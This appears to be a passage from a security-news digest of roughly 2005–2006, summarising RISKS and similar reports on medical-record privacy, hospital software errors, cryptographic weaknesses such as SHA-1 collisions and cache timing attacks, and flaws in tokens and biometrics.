Activists with the British Columbia Civil Liberties Association say that plans to outsource storage of Canadian citizens' health records to a U.S. company places that sensitive information in jeopardy. They fear that putting the data in the hands of Maximus Can, a subsidiary of U.S.-based Maximus, could lead to data-mining exercises, such as those that involved passenger records from JetBlue and other airlines. Or, as in the case with data on Latin American citizens purchased in 2003 by ChoicePoint that was then sold to U.S. immigration authorities, it could be used to prevent British Columbians with serious health issues, such as AIDS, from entering the U.S. Under the U.S.A.P.A.T.R.I.O.T. Act, U.S. companies can be forced to reveal information while prohibited from telling customers or employees that it has been shared. Activists fear that reach will extend to subsidiaries of U.S. companies operating outside its borders. "There really isn't a database of cross-referenced information that you could consider to be more personal… The potential for this information to be used and misused is great," says Michael Vonn, policy director for the British Columbia Civil Liberties Association. (Wired.com 4 Feb 2005)

Category 38.9 *Medical information & HIPAA*

2005-03-10 **medical hospital informatics security quality assurance QA errors iatrogenic illness drug dosage prescriptions flaws bugs user confusion medications patients doctors nurses computers**

RISKS; http://tinyurl.com/9dwev; http://tinyurl.com/d7qsp 23 78

DRUG-ERROR RISK AT HOSPITALS TIED TO COMPUTERS

Monty Solomon and Peter Neumann summarized a serious problem in hospitals:

Hospital computer systems widely touted as the best way to eliminate dangerous medication mix-ups can actually introduce many errors, according to the most comprehensive study of hazards of the new technology. The researchers, who shadowed doctors and nurses in the University of Pennsylvania hospital for four months, found that some patients were put at risk of getting double doses of their medicine while others get none at all. 22 types of mistakes were identified, such as failing to stop old medications when adding new ones or forgetting that the computer automatically suspended medications after surgery. The findings underscore the complexity of improving safety in US hospitals, where the Institute of Medicine estimates that errors of all kinds kill 44,000 to 98,000 patients a year.

A related story recounts similar findings from a different study.

HOSPITAL COMPUTERS MAKE THINGS WORSE

Reports over the past few years of increasing numbers of patient injuries and deaths due to medical errors sent hospital administrators scrambling for computerized solutions. But two new studies suggest that, in many cases, these high-tech systems have left doctors and nurses increasingly frustrated while providing little evidence of real benefit to patients. In fact, one widely used system actually helped foster medication errors, researchers found. See the 9 Mar 2005 issue of the Journal of the American Medical Association.

Sympatico News, Hospital Computers Fail to Deliver: study finds they facilitated errors

---

Category 38.9 *Medical information & HIPAA*

2005-03-11 **medical hospital informatics security quality assurance QA errors iatrogenic illness drug dosage prescriptions flaws bugs user confusion medications patients doctors nurses computers**

RISKS 23 79

COMPUTERIZED PHYSICIAN ORDER ENTRY SYSTEMS STILL TROUBLESOME

Charles J. Wertz provided abstracts for two interesting articles:

The 9 Mar 2005 issue of the *Journal of the American Medical Association* contains two articles and an editorial that should be of interest to Risks readers.

ROLE OF COMPUTERIZED ORDER ENTRY SYSTEMS IN FACILITATING MEDICATION ERRORS discusses a variety of issues including poor interface design requiring a physician to look at as many as 20 screens to see all the information about a patient, misleading and frequently misinterpreted dosage information, dosage change requires adding the new and deleting the old, poor integration of multiple systems, poor handling of discontinuation and resumption of medications, loss of orders and others. This article appears to be the result of a well done comprehensive study at one specific hospital.

The Editorial, COMPUTER TECHNOLOGY AND CLINICAL WORK: STILL WAITING FOR GODOT makes a number of good points such as, "The misleading theory about technology is that technical problems require technical solutions; ie, a narrowly technical view that leads to a focus on optimizing the technology. In contrast, a more useful approach views the clinical workplace as a complex system in which technologies, people, and organizational routines dynamically interact." Anyone interested in systems design will find this interesting.

The other Article, EFFECTS OF COMPUTERIZED CLINICAL DECISION SUPPORT SYSTEMS ON PRACTITIONER PERFORMANCE AND PATIENT OUTCOMES: A SYSTEMATIC REVIEW provides a comprehensive review of the topic.

Category 38.9 *Medical information & HIPAA*

2005-03-12 **medical hospital informatics security quality assurance QA errors iatrogenic illness drug dosage prescriptions flaws bugs user confusion medications patients doctors nurses computers blame game shifting responsibility administrators management**

RISKS 23 79

COMPUTERS IN HOSPITALS BLAMED FOR HUMAN ERROR

In response to several articles about how awful biomedical informatics systems are, Bob Morrell retorted that administrators readily blame computers for errors committed by their staff:

>Recent coverage of a JAMA article on the patient errors (cited by R. Akerman in RISKS-23.78) caused by computers will likely be cited by those who resist the movement towards an electronic medical record. This despite the fact that all acknowledge that the current mixed state of computerized and non-computerized medical systems is abysmal. My perspective on this is that we often miss the core truth of most medical mistakes: they are caused by humans, not computers. In the 1990's I developed several programs designed to find medical mistakes. As such, I spent a lot of time analyzing mistakes, and dealing with defensive reactions by physicians and nurses to the mistakes found. The most common mistake, at its core, was raw human misunderstanding: conceptual misunderstanding leading to misinterpretation of medical data (surgeons who thought the higher the bacterial MIC number, the better the antibiotic, when the reverse is true, and therefore put the patient on an antibiotic guaranteed to be ineffective). A close second was communication failures, where a key report was pocketed, lost or otherwise not communicated to others who would understand its importance.

However, in all these cases, the typical hospital political hierarchy sought to turn each of these medical errors into a computer error, lest a human (particularly a Doctor human) be found at fault. While I was grumpy about this at first, I soon realized that there was at least some truth in it, in that more easily understood medical reports, that highlighted and provided some interpretation to key information, and were more widely distributed were in fact improvements worth making to medical systems, and certainly would prevent far more errors than my mistake finding programs would ever find. The problem was however, that as the concept of the electronic medical record began taking shape, resistance to it often cited the end of incident analysis that blamed the computer, rather than the physician or nurse who was primarily at fault. The JAMA cases certainly sound like real problems with the human/computer interface, but they sound suspiciously like the final reports we used to end up on real mistakes made by real humans.

The medical environment is extremely complex, understaffed and wrought with automated and semi automated systems that all can fail or conflict whether they are computerized or not. I routinely saw problems with continuation of standing order dosing long before those standing orders were computerized. Blaming the computer misses the point, even if it does point out how the computer system could be made better.

The risk is one I often see in The Risks Digest: problems with computerized systems seem to get more attention than the usually much greater problems in the existing non-computerized systems.<

Category 38.9 *Medical information & HIPAA*

2005-12-02 **medical blunders risks information systems certification CAP links**

RISKS; http://tinyurl.com/ayf5m 24 11

RISKS OF MEDICAL BLUNDERS

RISKS moderator Peter Neumann summarizes reports of some serious medical blunders involving bad data:

* In 1999, a 47-year-old woman was diagnosed with breast cancer in Magee-Womens Hospital (part of the U. Pittsburgh Medical Center), and underwent a mastectomy. It was later discovered that the hospital lab had switched biopsy specimens. Ten cases against the hospital are now pending in state courts, even though the hospital has passed federal inspections. Similar lawsuits and complaints name other medical centers.

* In Maryland, a hospital lab sent out hundreds of HIV and hepatitis test results despite data showing that the results might be invalid and mistakenly lead infected patients to believe they were disease-free. The same laboratory had just received a top rating from CAP inspectors.

* In Yakima, Wash., eight emergency room doctors walked off their jobs to protest hospital deficiencies they said included lab mistakes, such as mixed-up blood samples. CAP had declared the lab "in good standing" the year before.

* At the famed Mayo Clinic in Minnesota, an allegedly misdiagnosed gall bladder cancer case led to revelations of a close relationship between the clinic and CAP. A Mayo pathologist serving on a CAP advisory panel twice sought and obtained accreditation renewals despite unacceptable lab practices cited by CAP inspectors.

Category 38.9 Medical information & HIPAA

2005-12-13 **medical systems security disaster recovery backup plan business continuity paper**

RISKS; http://news.bbc.co.uk/1/hi/england/cambridgeshire/4521608.stm 24 13

CAMBRIDGE HOSPITAL BUSINESS CONTINUITY PLANS WORK

RISKS correspondent Paul Bennett reports the following story about medical systems security and disaster recovery:

A computer system at a Cambridge hospital used for patient information such as admissions and discharges experienced some problems because of a fire at the Buncefield oil depot in Hertfordshire. A company providing some IT services to Addenbrooke's Hospital was based at the industrial park near the depot and was destroyed in the fire. It was expected to take a week to get the computer system up again, although reportedly no medical services were affected.

[Abstract by Peter G. Neumann]

Another UK correspondent, Peter Mellor, follows up:

The explosion and fire at the fuel depot near Hemel Hempstead, Hertfordshire:
http://images.thetimes.co.uk/TGD/picture/0,,250768,00.jpg

Connection with computers? Well, several nearby installations were wrecked (amazingly, no-one was seriously injured), one of which contained the electronic patient records of Addenbrooke's Hospital, Cambridge. The hospital reported that it would have to rely on paper records for several
days until the computer files could be restored.

On the positive side, at least they had back-up. On the other hand, their disaster recovery planning seems to be a bit slack.

[Summary by Karthik Raman]

41 Cryptanalysis techniques & tools

Category 41 *Cryptanalysis techniques & tools*

2005-05-17 **hyperthreading multiprocessor architecture shared cache decryption cracking timing attacks encryption weakness cryptanalysis**

RISKS; http://www.daemonology.net/papers/htt.pdf 23 88

HYPERTHREADING AND SHARED CACHE ALLOW TIMING ATTACKS ON ENCRYPTION KEYS

Olin Sibert reported on public announcements about an unexpected consequence of hyperthreading multiple Intel Pentium 4 processors using shared cache:

Security researcher Colin Percival recently (13 May) announced a security vulnerability caused by the combination of the Hyperthreading and shared cache features of Intel Pentium 4 processors. By carefully measuring the time required for instructions to execute in one thread while the other thread is performing a cryptographic calculation, the secret key can be determined.

. . . .

Sibert concluded, "The RISK here is a classic example of relying on underlying abstractions (the hardware memory model) to behave in an ideal manner, rather than understanding their implementations. Many security flaws result from the adversary breaking the veil of abstraction to look at the soft, juicy parts inside. Even when the higher-level model is perfect (or formally verified), the mapping to implementation can hide a multitude of sins."

>This vulnerability was also announced by Adi Shamir during the Cryptographer's Panel at RSA in February 2005. I thought it was the most interesting item in all the keynotes (although the hash function announcements were a close second), but it got essentially no press coverage (unlike this time, where it is being widely reported). Adi subsequently told me that he had a working implementation and planned to present it at the Eurocrypt rump session next week. The two attack implementations (Colin's and Adi's) are apparently quite different, but yield the same result, underscoring the severity of the problem. It's also similar to Paul Kocher's classic timing attacks.

The problem is particularly bad for processors with simultaneous multithreading ("Hyperthreading"), since that allows context switches to take place at a granularity of individual instructions, and thus allows very fine-grained time measurements. However, the same basic problem is present in any computer with a cache that is physically shared by processes in different security domains.<

42.1 Crypto algorithm weaknesses

Category 42.1 *Crypto algorithm weaknesses*

2005-02-16 **Chinese researchers break compromise SHA-1 secure hash algorithm SHA-256 SHA-512 NIST recommendations**

DHS IAIP Daily; http://www.eetimes.com/article/showArticle.jhtml?articleId=60401254

CHINESE RESEARCHERS CLAIM TO HAVE COMPROMISED SHA-1 HASHING ALGORITHM.

A team of three Chinese researchers claim to have compromised the SHA-1 hashing algorithm at the core of many of today's mainstream security products. Top cryptographers said users can still rely on today's SHA-1-based systems and applications, but next-generation products will need to move to new algorithms. In a panel discussion at the RSA Conference on Tuesday, February 15, Adi Shamir, a celebrated cryptographer and professor at Israel's Weizmann Institute of Science, said he received an e-mail that morning containing a draft technical paper from the research team of Xiaoyun Wang, Lisa Yiqun Yin, and Hongbo Yu who have links to Shandong University in China. The paper described how two separate documents could be manipulated to deliver the same SHA-1 hash with a computation of lower complexity level than previously believed possible. Shamir and others said they believe the work of the Chinese trio will probably be proven to be correct based on their academic reputations, although details of the paper are still under review. Perhaps anticipating the news, the National Institute of Standards and Technology issued a recommendation earlier this month that developers move to SHA-256 and SHA-512 algorithms by 2010.

42.2 Brute-force attacks

Category 42.2 Brute-force attacks

2005-02-01 **RFID radio frequency identification device cryptographic weakness crack parallel processing fraud theft gasoline purchase automobile lock**

RISKS; http://www.theregister.com/2005/01/31/rfid_crypto_alert/ 23 69

KERCHOFF RULES

Chris Leeson summarized the predictable failure of a proprietary encryption algorithm:

According to an article in *The Register*, the security on RFID devices used in car keys and petrol pump payment systems has been broken (the article actually says "Researchers have discovered cryptographic vulnerabilities in the RFID technology…"

The encryption uses "an unpublished, proprietary cipher that uses a 40-bit key".

The researchers managed to reverse-engineer the system and program a microchip to do the decoding in 10 hours. Using 16 of the chips in parallel reduced the search time to 15 minutes. At about $200 per chip that's not an expensive brute force attack.

The article notes that although potential criminals could make fraudulent petrol charges and deactivate vehicle immobilisation systems, they would still have top get past physical locks in the car.

Provided that the car has them, of course.

I can't resist quoting from the last two paragraphs:

> "The team recommends a program of distributing free metallic sheaths to cover its RFID devices when they are not being used in order to make attacks more difficult.
>
> The company that markets ExxonMobil's SpeedPass system has said it has no knowledge that any fraudulent purchases have ever been made with a cloned version of its device."

The Risks? Well, apart from the fairly obvious security/fraud issues, it does seem to me that this is using technology for technology's sake. When I want to disarm the alarm on my car, I point the remote at it and press the button. I don't need an "always on" control…

Category 42.2 Brute-force attacks

2005-03-30 **cryptanalysis evidence encryption massively parallel processing network computing government project criminal investigations**

RISKS; http://www.washingtonpost.com/wp-dyn/articles/A6098-2005Mar28.html 23 83

SECRET SERVICE BUILDS DISTRIBUTED NETWORKING ATTACK TOOL FOR CRYPTANALYSIS

Faced with the increasing prevalence of encrypted evidence on computers seized in criminal investigations, the Secret Service has created a massively parallel computing array using 4,000 "of its employees' computers into the 'Distributed Networking Attack' program." Brian Krebs, writing in the Washington Post and abstracted by Peter G. Neumann of RISKS, reported that "The wide availability of powerful encryption software has made evidence gathering a significant challenge for investigators. Criminals can use the software to scramble evidence of their activities so thoroughly that even the most powerful supercomputers in the world would never be able to break into their codes. But the U.S. Secret Service believes that combining computing power with gumshoe detective skills can help crack criminals' encrypted data caches. Taking a cue from scientists searching for signs of extraterrestrial life and mathematicians trying to identify very large prime numbers, the agency best known for protecting presidents and other high officials is tying together its employees' desktop computers in a network designed to crack passwords that alleged criminals have used to scramble evidence of their crimes -- everything from lists of stolen credit card numbers and Social Security numbers to records of bank transfers and e-mail communications with victims and accomplices."

Category 42.2 Brute-force attacks

2005-11-10 **password cracking service hackers online brute force rainbow tables**

EDUPAGE; http://www.theregister.co.uk/2005/11/10/password_hashes/

NEW SERVICE CRACKS PASSWORDS

Three computer hackers have set up a Web site that offers access--for a fee--to so-called rainbow tables, which are said to allow cracking of most passwords. Computers use codes, or hashes, to conceal user passwords. The creators of the RainbowCrack Online Web site spent two years generating hashes for virtually all possible passwords and storing them in vast tables. With the tables, breaking a password becomes as simple as looking up the hashes and working backwards to the password. Developers of RainbowCrack said the service is not intended for malicious uses but as a tool for network administrators to improve the security of their systems. Security expert Bruce Schneier disagreed, saying he doesn't see any "legitimate business demand" for the service. Philippe Oechslin of Swiss firm Objectif Securite said that system designers can easily incorporate elements into password schemes that add sufficient complexity as to make rainbow tables ineffective in cracking passwords. Schneier said that although such changes are not difficult, very few systems are designed to use them. "A lot of systems are weak," he said. The Register, 10 November 2005

42.3 Crypto product implementation flaws

Category 42.3 *Crypto product implementation flaws*

2005-01-31 **car keys Texas Instruments TI crack immobilizer radio-frequency microchips encryption decryption transponder**

NewsScan; http://australianit.news.com.au/articles/0

WHERE DID I PUT MY CAR KEYS?

A research team at Johns Hopkins University has found a way to crack the code used in millions of car keys -- a development that could allow thieves to bypass the security systems on newer car models. The researchers found that the "immobilizer" security system developed by Texas Instruments could be cracked using a relatively inexpensive electronic device that acquires information hidden in the microchips that make the system work. The radio-frequency security system being used in more than 150 million new Fords, Toyotas and Nissans involves a transponder chip embedded in the key and a reader inside the car. If the reader does not recognize the transponder, the car will not start, even if the key inserted in the ignition is the correct one. (The Australian, 31 Jan 2005)

Category 42.3 *Crypto product implementation flaws*

2005-02-09 **SafeNet SoftRemote Virtual Private Network client VPN key process memory disclosure update issued**

DHS IAIP Daily; http://securitytracker.com/alerts/2005/Feb/1013134.html

VULNERABILITY IN SAFENET SOFTREMOTE VPN CLIENT MAY ALLOW LOCAL USERS TO OBTAIN VPN KEY

The SafeNet SoftRemote client 'IreIKE.exe' process stores the VPN password (i.e., preshare key) in process memory. A local user with access to memory can obtain the key. The client also stores the key in encoded form in the Windows Registry and in policy files ('.spd' files). A local user with access to the registry or the policy files can decode the key. Vendor has prepared a fix to be available shortly: http://www.safenet-inc.com/products/vpn/softRemote.asp

---

Category 42.3 *Crypto product implementation flaws*

2006-03-08 **Linux kernel dm-crypt key storage failure vulnerability solution update**

DHS IAIP Daily; http://securitytracker.com/alerts/2006/Mar/1015740.html

LINUX KERNEL DM-CRYPT FAILS TO CLEAR KEY STORAGE.

A vulnerability was reported in dm-crypt in the Linux kernel. A local user can obtain information about cryptographic keys. Analysis: The dm-crypt component does not properly clear the crypt_config structure before freeing the structure, which may allow a local user to obtain cryptographic keys. Versions affected: 2.6.15 and prior versions. Solution: The vendor has issued a fixed version (2.6.16-rc1).

Category 42.3 *Crypto product implementation flaws*

2006-04-13 **bank automatic teller machines ATM encryption network vulnerabilities upgrade flaw protocols architecture design**

RISKS; Redspin http://tinyurl.com/er74m 24 26

TRIPLE DES UPGRADES EXPOSE BANK ATM NETWORKS TO COMPROMISE

Redspin, Inc., an audit firm, published a white paper analyzing the unexpected effects of a combination of security upgrades to bank automated teller machine (ATM) networks. In brief, although the original intention of the industry plan was to upgrade DES encryption to Triple DES, additional changes included switching to TCP/IP networks instead of dedicated communications lines. The auditors discovered that the data being sent through the wider bank internal networks includes unencrypted data (except for the PIN): "The card number, the expiration date, the account balances and withdrawal amounts, they all go across the networks in cleartext…." The company's press release stated, "Our biggest concern is that not many bank managers know this," says John Abraham, the company's president. "They assume that everything is encrypted. It's not a terrible assumption, so it's no wonder that most bank managers we've talked to are unhappy to discover this after spending $60,000 to upgrade an ATM."

"Fortunately," continues Abraham, "prevention isn't that complicated, as long as bankers are aware that there is a potential problem. ATM machines need to be kept separate from the rest of the bank's computer network, to try to recreate that direct line to the processor. Also, Redspin is developing a tool to help bankers determine their level of vulnerability. This white paper is all about raising awareness."

Category 42.3 *Crypto product implementation flaws*

2006-05-11 **Linux random number generator vulnerabilities holes paper**

DHS IAIP Daily; http://www.securiteam.com/unixfocus/5RP0E0AIKK.html

HOLES IN THE LINUX RANDOM NUMBER GENERATOR

A new paper was recently released which describes holes in Linux's random number generator, as well as a clear description of the Linux /dev/random. The Linux random number generator is part of the kernel of all Linux distributions and is based on generating randomness from entropy of operating system events. The output of this generator is used for almost every security protocol, including TLS/SSL key generation, choosing TCP sequence numbers, and file system and e-mail encryption. Although the generator is part of an open source project, its source code is poorly documented, and patched with hundreds of code patches. This paper presents a description of the underlying algorithms and exposes several security vulnerabilities. Analysis of the Linux Random Number Generator paper: http://www.gutterman.net/publications/GuttermanPinkasReinman 2006.pdf

---

43 I&A products (tokens, biometrics, passwords, Kerberos)

Category 43 *I&A products (tokens, biometrics, passwords, Kerberos)*

2005-10-19 **Internet banking identification authentication I&A two-factor regulators government**

RISKS; http://tinyurl.com/cfvjm; http://tinyurl.com/dngl4 24 08

FEDS DEMAND TWO-FACTOR AUTHENTICATION FOR INTERNET BANKING

Federal regulators will require banks to strengthen security for Internet customers through authentication that goes beyond mere user names and passwords, which have become too easy for criminals to exploit. Bank Web sites are expected to adopt some form of "two-factor" authentication by the end of 2006, regulators with the Federal Financial Institutions Examination Council said in a letter to banks last week.

[Abstract by Peter G. Neumann]

43.1 Tokens

Category 43.1 Tokens

2005-02-15 **key car house RFID radio freqency identifier hack future prediction**

NewsScan; http://www.usatoday.com/tech/news/2005-02-15-nokey-usat_x.htm

A KEYLESS FUTURE

Some luxury vehicles don't have an ignition key slot anymore and residential-door hardware companies are marketing push-button entry systems for homes. Kevin Kraus of the door hardware company Schlage says, "In 10 to 20 years, the key will be nothing but a backup device." Cars offering keyless systems include the Lexus GS sport sedan, Cadillac XLR and STS, Mercedes-Benz S-Class and Chevrolet Corvette. Although Johns Hopkins University researchers recently reported they were able to hack their way through radio-frequency security codes on cars, Texas Instruments (one of the makers of radio-frequency equipment) says it has never had a security breach. Gale Johnson, editor of the trade publication Locksmith Ledger comments, "The mechanical key is disappearing. Locksmiths today are a little like a buggy maker in 1900." (USA Today 15 Feb 2005)

Category 43.1 Tokens

2005-02-17 **identification authentication I&A RFID radio frequency identification device passport counter-terrorism border security data leakage confidentiality**

RISKS; http://www.economist.com/science/displayStory.cfm?story_id=3666171 23 73

HIGH-TECH PASSPORTS ARE NOT WORKING

Yves Bellefeuille reports on an article in _The Economist_:

The usual arguments are made -- the technology isn't reliable, there will be too many false positives, and so on -- but there's also a new argument I hadn't seem before:

"The data on these chips will be readable remotely, without the bearer knowing. And -- gain at America's insistence -- those data will not be encrypted, so anybody with a suitable reader, be they official, commercial, criminal or terrorist, will be able to check a passport holder's details...

"Passport chips are deliberately designed for clandestine remote reading. The ICAO [International Civil Aviation Organisation, a UN agency] specification refers quite openly to the idea of a "walk-through" inspection with the person concerned "possibly being unaware of the operation"."

Apparently, the only country that's ready for the US requirements is Belgium. It's really the *only* country: the US itself won't be able to deal with the passport requirements it's imposing on others by the November 2005 deadline!

Category 43.1 Tokens

2005-10-15 **identification authentication token I&A**

RISKS; http://cingular.com/voicemail_west 24 08

HAVING YOUR PHONE IS A CINGULAR TOKEN OF IDENTITY

Effective 26 Oct 2005, Cingular is switching to a new voicemail system for all its customers. One of the "features" is "Skip Password"--apparently, one will no longer need to enter a password if one has physical access to a handset. The option to continue to use a password will still be available, but "skip password" appears to be the default.

[Abstract by Steve Fenwick]

Category 43.1 *Tokens*

2006-05-02 **two-factor authentication chip-and-PIN credit card transactions fraud**

RISKS 24 28

TWO-FACTOR "CHIP-AND-PIN" CREDIT CARDS MAY BE SUBJECT TO FRAUD

Nick Rothwell reported on a developing story from Britain, where SHELL UK withdrew the new "chip-and-PIN credit card payment facilities from 160 of their garages, following incidents of fraud." Rothwell wrote, "In this particular case, it appears that the card terminal devices designed by Trintech, although tamper-resistant (i.e. will fail to operate if tampered with), were tampered with to commit the fraud. Trintech are claiming that their equipment is not at fault, and the issue is one of the "environment" in which they were installed." He added, "According to [BBC Radio 4's news program] You and Yours, there have been previous incidents of chip-and-PIN fraud where unscrupulous retailers were able to add items to a customer's bill after the payment transaction."

43.2 Biometrics

Category 43.2 Biometrics

2005-02-01 **biometric identification authentication credit card payment supermarket retail store**

RISKS; http://news.com.com/2100-1029-5559074.html 23 70

BIOMETRIC PAYMENT SYSTEMS IN SUPERMARKETS

Monty Solomon extracted an interesting item on biometric I&A from an article by Jo Best:

A supermarket has given its customers the choice of paying by fingerprint at a store in the state of Washington--and has found them surprisingly willing to use the biometric system. U.S. chain Thriftway introduced the system, which uses technology from Pay By Touch, in its store in the Seattle area in 2002. It said it now sees thousands of transactions a month using the payment method. Once people have enrolled in the Pay By Touch system, they have their fingerprint scanned as verification of identity at the checkout. They then choose which credit card they want to pay the bill with, having already registered the credit cards with the store.

Thriftway President Paul Kapioski said rather than shying away from the technology because of concerns about protecting their privacy, customer demand ensured that the biometric payment system made it past the pilot stage. …

Category 43.2 Biometrics

2005-02-17 **password type authentication keystroke dynamics biometrics**

NewsScan; http://www.usatoday.com/tech/news/computersecurity/2005-02-17-typing-biometric_x.htm

YOU ARE WHAT YOU TYPE

Researchers at Louisana Tech and the University of Pennsylvania have come up with a way of incorporating a user's style of typing into his or her system password. One of the researchers explains, "We look at the time between keystrokes, and the time it takes to press a key." It appears that style of typing is as unique as your eye color or speech patterns. Who would have thought it. (AP/USA Today 17 Feb 2005)

Category 43.2 Biometrics

2005-04-04 **biometric identification authentication I&A theft fraud amputation automobile security**

RISKS; http://www.theregister.co.uk/2005/04/04/fingerprint_merc_chop/ 23 83

CARJACKERS SWIPE BIOMETRIC MERCEDES, PLUS OWNER'S FINGER

A Malaysian businessman has lost a finger to car thieves impatient to get around his Mercedes' fingerprint security system. Accountant K Kumaran, the BBC reports, had at first been forced to start the S-class Merc, but when the carjackers wanted to start it again without having him along, they chopped off the end of his index finger with a machete.

The fingerprint readers themselves will, like similar devices aimed at the computer or electronic device markets, have a fairly broad tolerance, on the basis that products that stop people using their own cars, computers or whatever because their fingers are a bit sweaty won't turn out to be very popular.

They slow thieves up a tad, many people will find them more convenient than passwords or pin numbers, and as they're apparently `cutting edge' and biometric technology is allegedly `foolproof', they allow their owners to swank around in a false aura of high tech.

And that is exactly where the risks lie, high-tech does not necessarily mean high-security!

At least in sci-fi, fingerprint systems check for a heartbeat or pulse!!!

[`Cutting edge', eh? Wow! Incidentally, for many years I've been citing the concept of an amputated finger as a hypothetical way of defeating a poorly designed fingerprint analyzer. It's no longer hypothetical. PGN]

--contributed by Alpha Lau via RISKS

Category 43.2 *Biometrics*

2005-06-15 **US extension biometric passport requirement UK DHS terrorism anti-terrorism civil liberties privacy concerns**

EDUPAGE; http://news.com.com/2100-7348_3-5748629.html

U.S. GRANTS ANOTHER EXTENSION TO BIOMETRIC PASSPORTS

In a concession to nearly half of the countries in the Visa Waiver Program, officials from the United States have again extended the deadline for the addition of biometric data to passports. The program allows citizens of 27 countries to visit the Unites States using a passport only--without applying for a visa--for up to 90 days. In an effort to increase security, U.S. authorities said they would require that biometric information be added to passports in participating countries by October 26, 2005. After 13 of the countries in the program said they would miss the deadline, which had already been delayed once, U.S. security officials said countries would have another year to comply with the new regulation. The United States will, however, require participating countries to add digital photographs by the October deadline. The United States stood to lose potentially billions of dollars spent by tourists and business travelers from those countries if the deadline had not been extended. CNET, 15 June 2005

Category 43.2 *Biometrics*

2005-12-02 **DHS federal identification fingerprint images biometrics templates**

DHS IAIP Daily; http://www.fcw.com/article91576−12−02−05−Web

FEDERAL IDENTIFICATION CARDS MAY GET FASTER, SAFER

By the end of December, the federal government is expected to pick a new storage standard for fingerprint data on its new Personal Identity Verification cards, a Department of Homeland Security (DHS) official said Friday, December 2. The cards are expected to use a mathematical template of fingerprint images of cardholders' two index fingers, instead of compressed images of the prints themselves, said Kevin Crouch, portfolio manager for Homeland Security Presidential Directive 12 implementation at DHS' Joint Office of Interoperable Communications. The switch breaks the nearly year-long deadlock over whether the PIV cards should use images or templates, said Walter Hamilton, chairman of the International Biometric Industry Association and vice president and general manager of biometric solutions at Saflink. The decision marks a victory for the biometrics industry, which supports using templates. Templates require less data and processing time and protect the privacy of data better than images do, Hamilton said. The National Institute of Standards and Technology supported using compressed images because the template technology is less tested than image technology.

Category 43.2 *Biometrics*

2005-12-12 **biometric security researchers crack Play-Doh fake fingerprints**

DHS IAIP Daily; http://www.pcpro.co.uk/news/81257/researchers−crack−biometri c−security−with−playdoh.html

RESEARCHERS CRACK BIOMETRIC SECURITY WITH PLAY-DOH

Using fake fingerprints, researchers in New York have managed to break nearly all the biometric identification systems they tested. Headed by Clarkson University associate professor of Electrical and Computer Engineering Stephanie C. Schuckers, they used fake fingers made by taking casts of live fingers and using the molds to create copies in Play-Doh. The 60 fake fingers were then tested and were successfully authenticated by the combination of the fingerprint readers and their accompanying software in nine out of every ten attempts. "Digits from cadavers and fake fingers molded from plastic, or even something as simple as Play-Doh or gelatin, can potentially be misread as authentic," Schuckers explained. The team subsequently developed a technique for distinguishing live digits by detecting changing moisture patterns and reduced the false detection rate to less than 10 percent. "Since liveness detection is based on the recognition of physiological activities as signs of life, we hypothesized that fingerprint images from live fingers would show a specific changing moisture pattern due to perspiration but cadaver and spoof fingerprint images would not," Schuckers explained.

Category 43.2 *Biometrics*

2005-12-16 **biometrics face facial recognition NIST fingerprints ID cards specifications federa government draft**

EDUPAGE; http://www.fcw.com/article91747-12-16-05-Web

NIST SETS DATA SPECS FOR BIOMETRIC ID CARDS

The National Institute of Standards and Technology (NIST) has established and published biometric data specifications, required for federal ID cards slated for implementation in October 2006. The new specs cover fingerprints and facial image recognition. Comments on the draft specs will be accepted until January 13, 2006.

Category 43.2 *Biometrics*

2005-12-16 **NIST standard biometric minutia HSPC-12 DHS PD 12**

DHS IAIP Daily; http://www.gcn.com/vol1_no1/daily−updates/37790−1.html

NATIONAL INSTITUTE OF STANDARDS AND TECHNOLOGY CHOOSES MINUTIA FOR HSPD-12 BIOMETRIC STANDARD

After nearly a year in the making, the National Institute of Standards and Technology (NIST) has been convinced that minutia is an acceptable way to store fingerprint biometric data on smart cards. Amid pressure from industry, agencies and the administration, NIST Thursday, December 15, released the biometric specification for Federal Information Processing Standard 201, Personal Identity Verification under Homeland Security Presidential Directive 12, calling for agencies to store two index fingerprints on the smart card using the International Committee for Information Technology Standard 358 for minutia. Each fingerprint template shall be wrapped in the Common Biometric Exchange Formats Framework structure, NIST said in Special Publication 800-76. NIST originally wanted to store fingerprints using a digital image because it is more entrenched, while minutia is still new and the standard hasn't been tested enough. During the past 11 months, the indecision caused the White House to get involved in the final decision. Agencies, vendors and other interested parties have until January 13, 2006, to comment on this latest draft. NIST then will issue a final version about a month later. Federal Information Processing Standards Publication on Personal Identity Verification of Federal Employees and Contractors: http://www.csrc.nist.gov/publications/fips/fips201/FIPS-201- 022505.pdf NIST Special Publication 800-76: http://csrc.nist.gov/publications/drafts/800-76Draft/sp-800- 76_draft.pdf

---

Category 43.2 *Biometrics*

2006-01-05 **US-VISIT US government DHS fingerprint biometric identification authentication I&A**

EDUPAGE; http://www.fcw.com/article91877-01-05-06-Web

US-VISIT WANTS ALL 10 FINGERS PRINTED

Officials at the Department of Homeland Security (DHS) have announced a plan to begin requiring visitors to the United States to have all 10 of their fingers to be printed to be admitted to the country. Currently, the U.S. Visitor and Immigrant Status Indicator Technology (US-VISIT) program requires prints of two fingers; the change to 10 will reportedly increase both security and privacy and will decrease the number of visitors who must undergo a second inspection to enter or leave the country. DHS said biometric technology such as fingerprinting is already reliable, but the agency is working with technology vendors to develop products that are more accurate, faster, and more mobile.

Category 43.2 *Biometrics*

2006-02-23 **wireless security research fingerprints biometrics University of Buffalo**

DHS IAIP Daily; http://www.networkworld.com/news/2006/022706−fingerprint −security.html

RESEARCHERS CLAIM ADVANCES IN USING FINGERPRINTS TO SECURE NETWORKS.

University of Buffalo, NY, researchers say they have found a way to improve security of wireless handheld devices and Websites. The research specifies how big a keypad sensor needs to be and how big a fingerprint image should be, as a key shortcoming of biometric systems now is that sensors often only can take partial fingerprints, says Venu Govindaraju, a University of Buffalo professor of computer science and engineering, and director of the school's Center for Unified Biometrics and Sensors (CUBS). The researchers' work has been published in the journal Pattern Recognition.

Category 43.2 *Biometrics*

2006-03-06 **Microsoft Fingerprint Reader hack Finnish military Black Hat Europe presentation unencrypted transmission sniffer**

DHS IAIP Daily; http://www.computerworld.com/securitytopics/security/holes/story/0,10801,109276,00.html

RESEARCHER HACKS MICROSOFT FINGERPRINT READER.

